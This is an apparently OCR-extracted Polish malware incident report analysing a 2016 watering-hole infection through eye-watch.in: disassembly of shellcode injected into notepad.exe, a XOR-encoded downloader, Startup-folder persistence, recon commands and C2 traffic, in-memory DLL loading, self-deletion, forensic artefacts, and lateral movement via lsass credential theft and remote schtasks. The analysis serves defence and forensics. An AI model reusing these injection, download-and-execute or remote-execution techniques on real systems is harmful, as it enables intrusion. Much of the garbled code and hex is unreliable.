mou esi, [eax+1Ch]
lodsd
mov ebp, [eax+8]
push edi
moy [ebptuar_2C], eax
mou [ebptuar_50], eax
push 2
lea eax, [ebptuar_1C]
push 2]
push eax
mou [ebptuar_1C], 'nrek’
mov [ebptuar_18], '23le’
moy [ebptuar_14], "lld.’
moy [ebptuar_28], 'rPet’
moy [ebptvar_24], 'seco’
mou [ebptuar_20], 'As’
mou [ebptuar_C], "solC’
moy [ebptuar_8], "naHe’
moy [ebptuar_4], ‘eld’
mov [ebpt+var_3C], "triu’
mov [ebptuar_38], 'Alau’
mou [ebptuar_34], ‘coll’
moy [ebptuar_30], 'xE°
mov [ebptuar_B4], ‘"tirl’
mou [ebptuar_E0], ‘orPe’
mov [ebp*uar_5C], 'ssec’
mou [ebptuar_58], "omeM’
moy [ebptuar_54], 'yr’
moy [ebptuar_HC], "eRet’
mou [ebptuar_48], 'etom’
mou [ebptuar_44], "erhT’
moy [ebptuar_40], ‘da’
call dword ptr [esi] ; LoadlLibraryExA(Kernel32.dll)
mou edi, eax
lea eax, [ebptvar_2C]
push eax

Powyzszy fragment odpowiada za budowanie tablicy Import Address Table (IAT) dla funkcji: WriteProcessMemory,
CreateRemoteThread, VirtualAllocEx, CreateProcessA, CloseHandle.

Po zatadowaniu Kernel32.dll wywotywania jest funkcja GetProcAddress, aby rozwigza¢ adresy w/w funkcji.

cl




Najwazniejsza jest funkcja 21E, ktora:

e Tworzy proces notepad.exe za pomocg CreateProcessA,
e Alokuje pamieci za pomoca VirtualAllocEXx,
e Zapisanie do procesu netepad.exe 0x61C bajtéw zaczynajacych sie od:

# | notepad.exe (11880) (0x140000 - 0x14100_ =

00000000 EG 53 51 &b 18 58 b9 fa 05 00 00 bb 57 00 00 00 P5Q..X...... W.us

00000010 31 18 49 40 85 c9 75 £8 59 5b 58 eb 05 e8 e3 £f 1.IQ..u.Y[X.....

00000020 ££ ££ 02 dc bb d4 bb 13 da 12 eb 07 bf 40 57 57 ..euinnana.. EWW

00000030 57 da 12 &b 07 bf fe 57 57 57 da 12 eb 07 bf lc Weu.... W, weaa

00000040 54 57 57 d4 93 5k 9e 94 02 dc bb 06 06 di 32 ab TWR..[.auusan. 2.

00000050 57 d4 32 af 57 04 01 00 04 ec ca &d b7 70 bf 44 W.2.W...... m.p.D
[ 00000060 57 57 57 de 12 ab ec 38 b7 04 b2 bf 51 57 57 57 WWW....8....0WWW
| 00000070 de 12 af Oc bc Of ab 02 64 97 33 do 17 67 dc 17 ..uvuans d.3..q.

00000080 5b dc 27 4b fa dc 3£ 5f 06 01 00 dc 12 6b 61 dc [."K..7_..... ka.
I 00000080 03 7f 2f 54 82 05 dc 05 77 54 82 64 97 64 9 16 ../T....wI.d.d.

0000000 dc 63 dd 54 a2 64 a8 96 98 Sa fb 54 af d2 97 22 .c.T.d...Z.T..."
000000b0 &l 6c ac 22 bd 0d dc Od 73 54 &z 31 dc 5b lc dc .1."....8T.1.[..
000000c0 Od 4b 54 8a dc 53 dc 54 92 08 09 Oe Oa 94 dc 12 LET..5.T.veansan

000000d0 5 dc la ab 08 09 de 5L dc la af de 1f 53 €7 56 _...a.. _amsan 5.V
000000e0 Oc 9e 94 02 dc bb d6 bb &3 57 57 57 ef 14 2 2 i WWW. .82
000000£0 36 01 dc 22 5f de d2 03 a8 a8 ab de 12 fb ef 10 6.." _ciunvvannan
00000100 3b 38 35 00 &4 9e de 12 93 de 12 a3 3d 56 da 12 ;85.d....... =V.

00000110 d3 06 07 90 12 43 1c 32 25 39 90 12 df 32 3b 64 ....... 2%9...2;d
00000120 &5 90 12 db 79 33 3b 3b de la c7 90 12 bf 02 25 e...¥3;7...u... %

00000130 3b 3a 90 12 bb 38 39 79 33 90 12 a7 3b 3b 57 57 ;:...89¥3...7;WW
00000140 30 d2 17 a8 af a% 02 05 1b 13 90 42 13 a8 a8 a8 .....cuaiaana.s
00000150 38 20 39 3b 90 d2 1f a8 a8 a8 38 36 33 03 90 d2 & 9;...... 863...
00000160 1b a8 a8 a8 38 11 3e 3b 90 d2 07 a8 af ad 32 00 ....8.>0....n. 2.
00000170 57 57 90 42 Of a8 ad a8 2 2 07 25 90 d2 0b a8 WW...... #2.%....
00000180 a8 a8 38 34 32 24 50 d2 37 af al aB 24 00 57 ..8

000001580 90 d2 23 a8 aB a8 10 32 23 03 90 42 2f a8 a8 af ..#4....28.../1

e Uruchomienie nowego watku w procesie notepad.exe za pomoca funkcji CreateRemoteThread()

Fragment kodu wstrzyknietego do procesu notepad.exe:

segf00 . 00000310 push eax
5eg000: 00000311 push ebx
seq000: 00000312 push ecx
5eq000:00000313 jmp short loc_32D

860000 : BOOOOBTS ; === === e oo
seg000: 00000315

5eg000:00000315 loc_315: ; CODE XREF: segf00:loc_32Dp
5eg000: 00000315 pop eax

seq000: 00000316 mou ecx,

5eq000:0000031B mou ebx, ;W

seq000:00000320

seq000:00000320 loc_320: ; CODE XREF: seg000:00000326}]
segf00 . 00000320 xor [eax], ebx

5eg000: 00000322 dec ecx

509000 : 00000323 ine eax

5eq000: 00000324 test ecx, ecx

5eq000:00000326 jnz short loc_320

seg000: 00000328 pep ecx

segf00 . 00000329 peop ebx

5eg000: 0000032A pop eax

seq000 : 0000032B jmp short near ptr unk_332

560000 :B0B0B32D ; - - T T T T T T oo oo oo oooooooeo-ooo
5eg000:0000032D

seqg000:0000032D loc_32D: ; CODE XREF: seg08@:0000831371j

segf0o . 0EeRO32D call loc_315

Mozemy zauwazy¢, ze powyzszy kod w pierwszej kolejnosci odkodowuje kolejny fragment shellcode (XOR z kluczem
0x57) a nastepnie wykonywana jest instrukcja skoku (jmp). 0x5AF to rozmiar zakodowanego pliku.

Na koncu znajduje sie adres URL z ktérym bedzie nawigzywane potaczenie.
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Analogicznie, jak w poprzednim przyktadzie wyszukiwane s3: adresy funkcji LoadLibraryExA oraz GetProcessAddress
na podstawie hash'’y:

5egooo:
5egooo:
5egooo:
5egooo:
Segeoo:
Segeoo:
Segeoo:
Segeoo:

00000059 mov ebx, 27E@3A9Dh
©00LVO5E call sub_76

00000063 mov [ebp-4], eax
00000066 mov ebx, OES553EQ6Fh
0000006B call sub_76
00000070 mov [ebp-8], eax
00000073 pop ebx

00000074 jmp short loc_CE

Nastepnie tadowana jest biblioteka kernel32.dll, urlmon.dll i budowana jest tablica IAT dla nastepujacych funkcji:

URLDownloadToFileW
CreateProcessW
GetTempPathW
MultiByteToWideChar
CreateFileW

ReadFile

WriteFile

CloseHandle
GetFileSize
GlobalAlloc
GlobalFree
ExitProcess

tP

Fet
n . URLOCwn

Najwazniejsza jest funkcja sub_38E. Wykonuje ona nastepujgce dziatania:

Tworzony jest plik svchost.exe,

Odczytywany jest adres URL,

Pobrana jest $ciezka tymczasowa i dodany svchost.exe,

Wywotana jest funkcja URLDownloadToFileW,

Wywotana jest funkcja CreateFileW i pobrany rozmiar pliku,

Zaalokowana jest pamiec i wczytana zostaje zawarto$¢ pobranego pliku,
Odkodowany jest fragment pliku (ten pobrany z serwera jest zakodowany XOR-em):

5egooo0 :000004D9 mov eax, 13Dh

Gl




segooo : 000004DE cmp [ebp+arg_0], eax
Segooo :000004E1 jbe short loc_4F9
Segoo00 :000004E3

sego000:000004E3 loc_4E3: ; CODE XREF: sub_38E+169j

Segooo :00004E3 mov cl, [edi+eax]
Segooo : 00PPR4E6 xor cl, eccCh

Segooo : 000PR4E9 mov dl, cl

Segooo : 0000R4EB shr dl, 4

Segoo0o0 : 0000VAEE xor dl, cl

segooo : 000004F0 mov [edi+eax], dl
Segoo0o :000004F 3 inc eax

Segooo :000004F4 cmp eax, [ebp+arg 0]
Segoo0o :000004F7 jb short loc_4E3

e Odkodowana zawartosc¢ jest zapisana do tego samego pliku - czyli svchost.exe,
e Plikjest uruchomiony za pomocg funkcji CreateProcessW:

Segooo :0000054F call dword ptr ds:(loc_B+1)[esi] ; CreateProcessW (Svchost.exe)
$eg000 : 00000552 push edi

$ego000:00000553 call dword ptr [esi+30h] ; GlobalFree

Segooo : 00000556 push ebx

$eg000 :00000557 call dword ptr [esi+38h] ; ExitProcess

Ponizej przedstawiony zostat fragment dziennika zdarzen serwera WWW, gdy plik zostanie pobrany:

HTTP/1.1" 200 128512 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0;
SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; Media Center
PC 6.0)"

Plik svchost.exe przy préobie uruchomienia byl wykrywany i blokowany przez niektére z systemow
antywirusowych.

Réwniez odpowiednia konfiguracja osobistej zapory ogniowej mogta zablokowa¢ prébe nawigzania potgczenia
sieciowego przez proces notepad.exe.

Samo pobieranie pliku z malware jest duzo trudniejsze do wykrycia przez urzadzenia sieciowe (nawet do deszyfracji
SSL/TLS) gdyz plik byt zakodowany XOR-em. Taki schemat dziatania opisywali§my réwniez na naszym blogu

( ).

Analiza svchost.exe

Plik svchost.exe zapisywany jest w katalogu TEMP uzytkownika. Gdy przegladarka internetowa dziatata w trybie
Protected Mode, svchost.exe zapisywany jest w podkatalogu Low katalogu %YAPPDATA %\ Local\Temp)\, co
uniemozliwiato poprawne wykonanie opisywanych ponizej dziatann. W ataku zostata zastosowana metoda ominiecia
mechanizmu Protected Mode w Internet Explorer poprzez zastosowanie odwotan do localhost.

File: Svchost.exe
Size: 128512
MD5: 119877258D9E5FF6B4E1A70A3C8F3692

Compiled: Cz, paz 20 2016, 6:30:05 - 32 Bit

Plik ten sktada sie z trzech czeSci:

Cze$¢ 1) Dodanie pliku do punktu autostart,
Czes$¢ 2) Zebranie informacji o komputerze ofiary oraz komunikacja z serwerem C&C,
Cze$¢ 3) Usuwanie informacji z dysku (zacieranie $ladow).

Czes$¢ pierwsza

Przekopiowanie pliku svchost.exe do %WAPPDATA %\ Roaming\ Microsoft\ Windows\Start
Menu\ Programs\Startup\ Winslui.exe w celu zapewnienia funkcji automatycznego uruchomienia ztosliwego
oprogramowania po restarcie systemu.
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http://malware.prevenity.com/2016/03/omijanie-sieciowych-systemow.html

.text:00401C33 add esp, 8

.text:00401C36 call sub_405520
.text:00401C3B call sub_4050D0
.text:00401CH0 call sub_405330
.text:00401CH5 xor eax, eax
_text:00401C47 o esp, ebp
_text:00401C49 pop ebp
.text:00401CHA retn
.text:00401CHA _wmain endp

;| Dodanie Winslui.exe do ZAPPDATA\Roaming\Microsoft\Windows\Start Menu\Programs\Startupy
; Informacje o zainfekowanym hoécie
: SelfDelete

To dziatanie réwniez byto wykrywanie i blokowane w pazdzierniku 2016 przez cze$¢ z systemdédw antywirusowych.

Czes¢ druga

Wywotywanych jest kilka komend, ktorych wynik przesytany jest do serwera C&C. Adresy URL wkompilowane sg w

aplikacje svchost.exe.

push 3FFh

push offset aHttpsWww_eyella ; “https://www.eye-watch.in/design/img/lis™. ..
push offset aS?actionBasein ; "%s?action:zBaseInfo&u=%IB4u"

push offset word_42010C ; wchar_t =

call

add esp, 18h

moy edi, 7

xor ecx, ecx

mov eax, offset word_42810C
mouv [ebptvar_18], edi

mov [ebptvar_1C], esi

mouv word ptr [ebptuar_2C], cx
lea edx, [eax+2]

mou ebx, 2

Yy
bl i =]
loc_H0518B:
mou edx, dword_420104
mov eax, dword_420100
push edx
push eax

; size_t

Lista komend wywotywanych przez svchost.exe:

"cmd.exe /c \"hostname > %s\
"cmd.exe /c \"whoami >> %s\""
"cmd.exe /c \"ver >> %s\
cmd.exe /c \"ipconfig -all >> %s\

nn
n
n

n nn

cmd.exe /c \"query user >> %s\
cmd.exe /c \"net user >> %s\""
cmd.exe /c \"net view >> %s\

n nn

nn

cmd.exe /c \"ping www.google.com >> %s\"

"cmd.exe /c \"net view /domain >> %s\""

"cmd.exe /c \"reg query \"HKCU\\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings"

"cmd.exe /c \"tasklist /svc >> %s\""
"cmd.exe /c \"netstat -ano | find \"TCP\"

Te informacje, po zapisaniu w pliku C:\users\ <username>\AppData\Local\Temp\ TMPA11B.tmp przesytane s3a do

serwera. Ponizej przedstawiono fragment przyktadowej komunikacji:

LT




https://192.168.1.226:8080 POST project/list.jsp?action—BaseInfofu=35592825178872 ] I 200 301 HTML isp
https://192.168.1.226:8080 GET /project/list.jsp?action=WhatBu=35592825178872 ¥ [T 200 308 text ljsp
https://192.168.1.226:8080 GET /project/list.jsp?action=WhatBu=35592825178872 W] ] HTML ljsp
https://192.168.1.226:8080 GET /project/list.jsp?action=What&u=35502825178872 F2 [ 200 308 text isp
https://192.168.1.226:8080 GET /project/list.jsp?action=What&u=35502825178872 F2 [v] 200 308 text isp
http://192.168.1.226:8080 GET /project/perfmon.dat 200 629625 dat
http://192.168.1.226:8080 GET /project/perfmon.dat 200 629625 dat

4

I

Original request |Auto—mod|ﬁed request | Response|

Raw Paramsl Headers | Hex

Connsction: close

User-Agent: WinHotpClient
Content-Length: 11516
Host: www.eyes-watch.in

szkolenie-win
szkolenie-win'ulvtkownik

MNicrosoft Windows [Wersja £.1.7601)]
Fonfiguracia TP systemu Windows
Nazwa hosta . . . . . . . « . - .

Typ w@z0a . . . . . . . . . . . .

FKarta Ethernet PolAczenie lokalne:

POST /design/img/list.jsp?action=BaseInfogu=355928I51736872

Content-Type: multipart/form-data: boundary=

Fouting IP wOAczony . . .« « .+ . . H
Serwer WINS Proxy wlAczony. . . . @
Lista przeszukiwvania sufiks“w DNS :

Snfile NS anlretnecs nallo-anis -

HTTP/L.L1

3a7930aalclfdd
Content-Disposition: form-data; name="myfile"; filenams="3559I8I5178872.rst"
Content-Type: application/x-www-form—

ur lencoded

: szkolenie-win

Sufiks podstawowsj domeny DNS . . @

: Hybrvydowy

WIET

3a7930aalczfdd

W odpowiedzi z serwera moze by¢ przestanych kilka komunikatow. Gdy aplikacja otrzyma w odpowiedzi ,success”,
wywotywana jest funkcja Sleep. Oprdcz regularnego odpytywania serwera nie sa podejmowane zadne inne dziatania.
Taka komunikacja mogta trwa¢ nawet kilka dni.

GET /design/img/list.jspraction=What&u=35592825178872 HTTP/1.1

Connection: close

User-Agent: WinHttpClient

Host:

h 4

e (=

push eax . echllideChar

lea edx, [ebp+*llideCharsStr]

push edx ; lpllideCharStr

push OFFFFFFFFh ; cbMultiByte

push esi ; 1pMultiByteStr

push 2] ; dwFlags

push 0 ; CodePage

call edi ; MultiByteTollideChar

lea eax, [ebp+WideCharstr]

push offset aSuccess "success”

push eax ; wehar_t =

call __Wcsicmp

add esp, 8

test eax, eax

jnz short loc_BSH4ACE

] i e =]
loc_BSYHABC:
push BDBBABHK
1" call ds:Sleep

xor edi, edi
jmp loc_BS47CO

dwHilliseconds

Jesli natomiast z serwera zostanie przestany komunikat z adresem URL, adresem IP oraz numerem portu, aplikacja
pobiera i uruchamia kolejny plik (dll) - ztosliwe oprogramowanie.
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http://www.eye-watch.in/

Wazna informacja jest to, ze decyzje o przestaniu pliku z kolejnym zlosliwym oprogramowaniem podejmuje

intruz.

Ponizej przyktad odpowiedzi:

HTTF/1l.l Z00 OK

Serwver: Apache-Covyote/l.1

¥-Powered-By: Servlet/3.0; JBossAS-§

Set-Cookie: JSESSIONID=832ESEDEEOZD3IATCOEFOZDSESECL4ELS;
Content-Type: text/html;charset=UTF-8

Content-Length: 89

Date: Mon, 0O Mar 2017 [L3:03:58 GUT

Connection: close

Path=/project

http://192.168.1.226/project/perfmon.dat|192.168.1.226 3030

Plik perfmon.dat jest zakodowany za pomocg wariantu algorytmu RC4. Klucz to 40 pierwszych bajtow.

Offzet o 1 2 3 4 5 & 7 & 910 11 12 13 14 15 -

o |1F 86 8F E0 D8 B& 20 C5 75 AF 10 EC CO 7B 6F CD |+ iRg-LuZ &I{ol|=
16 |71 FR F2 80 EB 1F 16 98 41 5C D2 4B C5 58 7B A3 qufi€e A\FNRL[{E
32 08 EF ES 33 2B 44 CE DO 5B 70 70 E4 9C EC 87 46 diz+JE¥[ppasa:F
48 |C5 C1 50 4C CC A3 05 5F 44 &7 74 10 24 B9 E0 AC LAPLEE Dot £ai-
¥l o~ 4 [N
80 |23 88 05 14 CE 89 41 80 AC 6E DF BO E8 2B 07 7E  #  I%BE-nR"&+ ~
96 B3 CF FB 66 97 OC D4 4E 12 B4 C4 1D 31 33 AE 78 zOuf— ON =E 1381
112 |44 3C 77 44 A7 45 61 AE 13 69 6C F5 2B C2 EC B9 D<«wDSEas ild+hiZa
128 &6 E3 80 80 84 OF 60 28 72 F6 FB 20 40 85 EB 8D £3 €, ° (rad-@8.&
144 & 14 FO EE E6 9C 77 52 FE 69 3E FF 87 286 DF 43 € yecawRgi> $18C
160 |90 2R D2 DC 43 B2 4E B6 05 71 74 37 3E 732 D3 7A  *NiC N9 gt7>z0=z
176 14 17 55 51 FE 72 &2 L6 E1 OFE 23 24 70 B3 04 F1 Ugtrb!aE$sv: A
192 95 A4 30 OB A7 E3 BC 74 D6 76 14 8C BF 11 CC EE -m0 S3Ltlv &z Es
208 9B DF OF 01 DO C3 C8 FO 27 E2 &80 20D 07 70 o0 D5 2 Bifa'd - p &

Aplikacja svchost.exe odszyfrowuje i uruchamia ten plik (jest to biblioteka) w pamieci RAM komputera. Na dysku

komputera ofiary nie jest przechowywana wersja odszyfrowana.

Pobierany plik perfmon.dat moze sie znajdowac w plikach tymczasowych. Przyktadowa lokalizacja:

C:\Users\<username>\AppData\Local\Microsoft\Windows\Temporary Internet
Files\Content.IE5\<random>\perfmon.dat.

Po odszyfrowaniu (funkcja nazwana przez nas jako ,deszyfruj”) wywotana jest kolejna funkcja (nazwana przez nas
jako ,,uruchom_"), ktéra za pomoca funkcji VirutalAlloc i VirutalProtect przygotowuje kod drugiego malware

(biblioteki DLL) do uruchomienia jeszcze w ramach procesu svchost.exe.

KLUCZ DESZYFRUJACY

Zaszyfrowany plik DLL
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oyys / bp+uar_2BBO], 40h
S cmp ptuar_ s
S A joe .~ Aoc_BSHDES
e ol N ~5 _
e = Wu= : L
lea eax, [ebp+uar_2BBO] LB
loc_BS4CDI: ; LPBINDSTnTUSCRLLBﬁEK push  eax tioy ecx. 16h
push [¢] xor esi, esi lmou esi, ebx
push  © ; DWORD oy lea eax, [ebptBuffer) | |[lea  edi. [ebpruar_60]
lea ecx, [ebp+Buffer] mou [ebptuar_2BB0], esi| [Push  OFFh ; size t
push ecx ; LPCWSTR // call sub B510A0 rep mousd
lea edx, [ebptllideChars$tr] o nou ebx, eax lea ecx, [ebptvar_2BAT]
push edx ; LPCUWSTR add esp, 4 v push ¢] ; 1nF
push °] ; LPUNKNOUWN cmp ebx, esi’ push ecx ; void =
call ds : URLDownloadToFil&ly jz loc BS4DES mou [ebptuar_2BA8], O
test eax, eax = call
jnz loc_BS4F3B xor edx, edx
add esp, OCh
lea edi, [ebptuar_60]
lea esi, [ebp+var_2BAg]
mou [ebptuar_zAA8], dx
call init_table_RCH4
mou ecx, [ebptuar_2BBO]
lea esi, [ebx+40h]
add ecx, BFFFFFFCBh
push esi
mou edx, esi
lea eax, [ebp+uar_2BAZ]
call deszyfruj
add esp, 4
push esi ; void x=
call uruchom_
add esp, 4
test eax, eax
jz short loc_BS4DEY4
v
Nastepnie jest wywotywana funkcja DIIEntryPoint().
ot o el o
retn

uruchom_ endp

PIZIE] full s =
push 0
push 1 loc_B5198D:
ush ebx mou [esi+2Ch], eax
ﬁall eax mnoy eax, esi
test eax, eax pop esi
jnz short loc_B5197D| |pop ebx
pop edi

Nastepnie wywotywane s3 funkcje: DIlRegister() oraz InitDIl() i przekazywane s3g parametry takie jak adres IP oraz
numer port serwera C&C.

LI
UNI

UHICODE "ht

Nastepnie wywotywane s3g ponizsze funkcje:

.text:100018A0 sub_100018A0 proc near ; CODE XREF: sub_1002E600+35p
.text:100018A0

.text:100018A0 ; FUNCTION CHUNK AT .text:10001850 SIZE 00000048 BYTES
.text:100018A0

.text:100018A0 call sub_10001660

.text:100018A5 call sub_10001000

.text:100018AA call sub_10001790

.text:100018AF call sub_100014E0

.text:100018B4 call sub_100013E0Q

.text:100018B9 call sub_10001420

.text:100018BE call sub_10001630




.text:100018C3 call sub_10001460

.text:100018C8 call  sub_10001800
.text:100018CD call  sub_100017C0
.text:100018D2 jmp loc_10001850

.text:100018D2 sub_100018A0 endp

Powyzsze funkcje wykorzystane sg do zbudowania tablicy importu funkcji pochodzacych z nastepujgcych bibliotek:

o  Ws2 32.dIl

o Kernel32.dll

e Iphlpapi.dil

e Advapi32.dil

o User32.dil

e  Userenv.dll

e Shell32.dll

o  Shlwapi.dll

o Wtsapi32.dll

e  Psapidil

e Dnsapi.dil
Nastepnie sprawdzana jest obecno$¢ plikéw w katalogu C:\ Windows\Help).
.text:1000313B call ds:GetWindowsDirectoryW
.text:10003141 lea edx, [ebp+var_20C]
.text:10003147 push edx
.text:10003148 lea eax, [ebp+Buffer]
.text:1000314E push eax
.text:1000314F push offset aSHelpS_hlp ; "%s\\Help\\%s.hlp"
.text:10003154 dec edi
.text:10003155 push edi ; size_t
.text:10003156 push esi ; wchar_t *
.text:10003157 call __shwprintf

Sa to C:\Windows\Help\ z rozszerzeniem .hlp. Analogicznie dla innego pliku, z rozszerzeniem .chm.

Jesli plikéw nie ma, nawigzywane jest potaczenie do serwera C&C na wskazany port. Aplikacja w duzej cze$ci bazuje
na bibliotece CURL oraz wykorzystuje do komunikacji protokét SSL. CURL wspiera miedzy innymi uwierzytelnienie za
pomocg NTLM czy Kerberos. Aplikacja umozliwia pobieranie i uruchamiane plikéw.

Intruz w tym momencie moze uzyska¢ zdalny dostep do serwera za pomoc3 tak zestawionej sesji. Dodajmy, ze
aplikacja dziata w ramach procesu svchost.exe. Nic nie jest instalowane na komputerze ofiary (oprocz kopii svchost.exe
w autostart).

Czes¢ trzecia

Utworzenie pliku bat i uruchomienie go. Plik kasuje zebrane w cze$ci drugiej dane.

.rdata:0041BB6E aBecho0ffDellDe: . DATA XREF: sub_405330+16AaTo
.rdata:0041BBE8 unicode 0, <@Becho off>

.rdata:0041BBE8 dw 0Dh, BAh

.rdata:0041BBE8 unicode 0, <:dell>

.rdata:0041BBE8 dw 0Dh, BAh

.rdata:0041BB68 unicode 0, <del /a %1>

.rdata:0041BBE8 dw 0Dh, BAh

.rcdata:0041BB6S unicode 8, <if exist %1 goto dell>

.rdata:0041BBE8 dw 0Dh, BAh

.rdata:0041BB6S8 unicode 0, <del /a %0>,0

Na analizowanych kopiach dyskéw informacje o pierwszej fazie mozna uzyskaé z kilku miejsc. Po pierwsze
wspomniany wczes$niej plik Flash Player.

%4




® 3 ldentities
= Macromedia
J Flash Player
=2 #SharedObjects
5O
& - om
s —
) www.eye-watch.in
= (2 design
o3 fancybox
=- include
-3 cambwo.swf
=3 macromedia.com
= support
= flashplayer
= L sys
[ — R s - ...+ tHCOM
e i _.com
= #www.eye-watch.in

Kolejnym miejscem sa dzienniki zdarzen. Dla przyktadu, dziennik Microsoft-Windows-UAC-FileVirtualization

Operational zawierat zdarzenia 5000, ktore informowaty o prébie zapisu kopii svchost.exe do punktu autostart.

Ponizej przyktad, gdy plik svchost.exe byt uruchamiany z Low Integrity Level.

@reine J016-10-07 141006 VA FilaVimualization 5000 Brak
“Peine 2016-10-07 124834 UAC-FileNirtualization 5000 Brak
G Feine 2016-10-07 124834 UAC-FileNfirtualization 000 Brak
B Peine HL6-10-07 124834 UAC-Fileirmualization 000 Brak
@Feine 016-10-07 124834 UAC-FileNirualization 5000 Brak
@Feine 3016~ 10-07 120634 UAC-FileVirualization 5000 Brak
Zdarzenie S000, LIAC-FaeVimuakzation )
Ogaine| Szezegoly
& Widak Widaik XML
+ System
- EventData
Flags 0
SidLength 28
. m— E—
Sid — I H
FileMamelength112?
FileNamBuffer\Dewce\Halddis’(\a‘qumeE'\User5‘=AppDala\Roa mingiMicrosoft\Windows\Start Menu\Programsi\Startup\Winsluiexe
ProcessimageNamelength /3
ProcessimageNameBuffer, Device\HarddiskVol ume?\uw-ﬂ\=\_nppmr.ﬂl acalTemphLow\Svchost.exe
CreateOptions83886145

DesiredAccess 1180054
IrpMajorFunction(
Exclusions 1040

Informacje o uruchamianych aplikacjach przez svchost.exe mozna uzyskac tez z pamieci cache rejestru

SYSTEM\ ControlSet001\ Control\Session Manager\AppCompatCache. Wymagane jest uzycie specjalnego parsera lub

przeszukania po znakach UNICODE.

16067136 | c cmd V22N C VWUse 3\ _ VApp?D
16067200 a a \ cocal\Temp\Lowl\S5wvc o3t . exe \
16067264 ?2?2NC "Windowsz\zy tem32\VHOSTNAME .
16067328 EX E W?22?2MNC i V\Windows\SysWOWE4\VHOST
16067392 NAME .EXE VW??AVC i AN Windows\system3a2
16067456 \ w h o m i e x e V?PPAC A\WHindows\SysWO0
16067520 W é6 4\ whoami e x e V2?2 NC:ANWindows\ sy
16067584 stem32\Nipconfig e x e N?2?NC: ANWindo
16067648 w s \ SysWOoOWE4Nipconfig.exe AT o Y
16067712 Hindows\systcem32i\necl.exe WP RANC
16067776 " Windows\Syvy=2WOWE4LE2 \netrl exe NERREANC
16067840 : A" Windows\=2ystem32\nect e x e NP PANC
16067204 "WWHWindows\S5y=2WOWE4EL \“nectc e x e R R N o
16067968 : "\ Windows\sy=ztem32\NETSTAT.EXE A\
16068032 ?2?2NC "Windowsz\SysWOWé642\NETSTAT.E
16068096 X E Y TN C "Windows\3systctem32\£find.
16068160 & x e AN N t\Windows\5ysWOWe4da\£find
16068224 |. e e V?22?2ANC i NTsexs\ VNAppRpDa
16068288 |t a \ cecaliTempiVLlo \Netemp0953j bat AN
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Rekonesans oraz eskalacja uprawnien

Intruzi, posiadajac juz zdalny dostep do jednej ze stacji roboczych, mogli wykonywa¢ kolejne dziatania. W pierwszej
kolejnosci intruzi skupili sie na uzyskaniu uprawnien administracyjnych, a nastepnie na zapewnieniu sobie
bezpiecznego dostepu do przejetego Srodowiska teleinformatycznego.

Nie mozemy opisa¢ wszystkich dziatan wykonywanych w sieci wewnetrznej, niemniej wskazane metody pozwalajg na
identyfikacje ,podejrzanych” dziatan intruzow.

Istotne podkreslenia jest to, Ze cze$¢ z dziennikow zdarzen opisywanych ponizej moze by¢ pusta. Zalezy to od
ustawien Group Policy, jakie byty natozone na analizowane stacji robocze i serwery.

Wracajac do dziatan intruzéw, jesli zainfekowany uzytkownik byt w lokalnej grupie administratoréw intruz mégt:

e Zainstalowac kolejny typ ztosliwego oprogramowania jako ustuge. To dziatanie zapewniato mu zdalny
dostep do przejetego srodowiska z sieci Internet,

e Probowac odczytaé z pamieci procesu Isass.exe dane uwierzytelniajace do kont domenowych majacych
wieksze uprawnienia w domenie. To dzialanie zapewniato mu uzyskanie wiekszych uprawnien w sieci i
przyblizenie go do uzyskania dostepu do interesujacych systemow.

Natomiast, jesli zainfekowany uzytkownik posiadat zwykte uprawnienia, intruz musiat wykonac rekonesans w celu
eskalacji uprawnien i znalezienia innego hosta, najchetniej pelniagcego funkcje serwera testowego lub zapasowego,
ktdéry pozwalatby na zapewnienie bezpiecznego dostepu w przysztosci.

Swoje dziatania intruzi rozpoczeli od skanowanie sieci wewnetrznej. Interesowaty ich wytgcznie wybrane porty TCP:

¢ Jednym z charakterystycznych portéw byt domyslny port aplikacji Tomcat (8080/tcp). Nastepnie byty
wykonywane préby logowania na standardowe konto ze standardowym hastem w aplikacji Tomcat (np.
admin/admin). Ciekawym objawem byto przesytanie w polu Referer adresu publicznego z ktérego
wykonywane byto skanowane, np. http://59.120.19.101:8080 (najprawdopodobniej rowniez
skompromitowany host). Inng charakterystyczng cechg sg wartos$ci UserAgent zawierajace np. Openscan,
Masscan/1.0 czy Wget(linux).

e Intruz skupit sie tez na identyfikacji systeméw z otwartymi portami: 445/TCP i 135/TCP. Nastepnie
probowat logowac sie na konta lokalnych Administratoréw podtgczajac sie do zasobu C$ korzystajgc z bazy
stownikowej. Wykorzystywana byta miedzy innymi aplikacja SoftPerfect Network Scanner. Informacje o
dostepach do zdalnych zasobéw znajdujg sie na hos$cie Zrédtowy w nastepujacych dziennikach zdarzen:

o Microsoft-Windows-SMBClinet Connecivity,
o Microsoft-Windows-SMBClient Security,
o Microsoft-Windows-SMBClient Operational.

Po uzyskaniu uprawnien lokalnego administratora kolejnym krokiem byto uzyskanie uprawnien konta
uprzywilejowanego w domenie Active Directory. Majac uprawnienia lokalnego konta administracyjnego mozna
odczytywac¢ dane uwierzytelniajgce przechowywane w procesie Isass.exe. Nie jest wymagane hasto w formie jawnej,
wystarczajacy jest réwniez hash. Wrécimy do tego zagadnienia w kolejnym rozdziale.

W opisywanym ataku mozna zidentyfikowa¢ dwie metody uruchamiana ztosliwego kodu na zdalnych komputerach.
Polegaja one na wykorzystaniu mechanizmu:

o Task Scheduler oraz
e  Service Control Manager (SCM).

Przy analizie incydentéw, ktdre miaty miejsce kilka tygodni/miesiecy wczes$niej, istotne jest uzyskanie dostepu do
takich danych, ktére jeszcze istniejg w systemie. Oprocz rejestrow kolejnym miejscem sa dzienniki zdarzen z mniej
aktywnych zZrédet. Dla przyktadu zdarzenia w dzienniku zdarzen Security moga by¢ nadpisywane co 1-2 tygodnie. Z
kolei dziennik zdarzen Task Scheduler moga by¢ przechowywane do kilku miesiecy.

Task Scheduler

Ponizej przedstawiamy komendy, ktérych uzywali intruzi oraz przyktady zarejestrowanych zdarzen. Ponizsze dane
pochodza z naszego laboratorium. Niemniej, takie zdarzenia zostaty odczytane réwniez na analizowanych dyskach
skompromitowanych stacji roboczych i serweréw.
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Przyktad komendy rejestrujacej nowe zadanie:

schtasks /create /s 192.168.229.154 /U janek /P password /SC ONCE /TN gpUpdate /TR

c:\windows\perfmon.exe /ST 15:51

Poziom Data i godzina Zrédio Identyfika.. Kategoria.. *
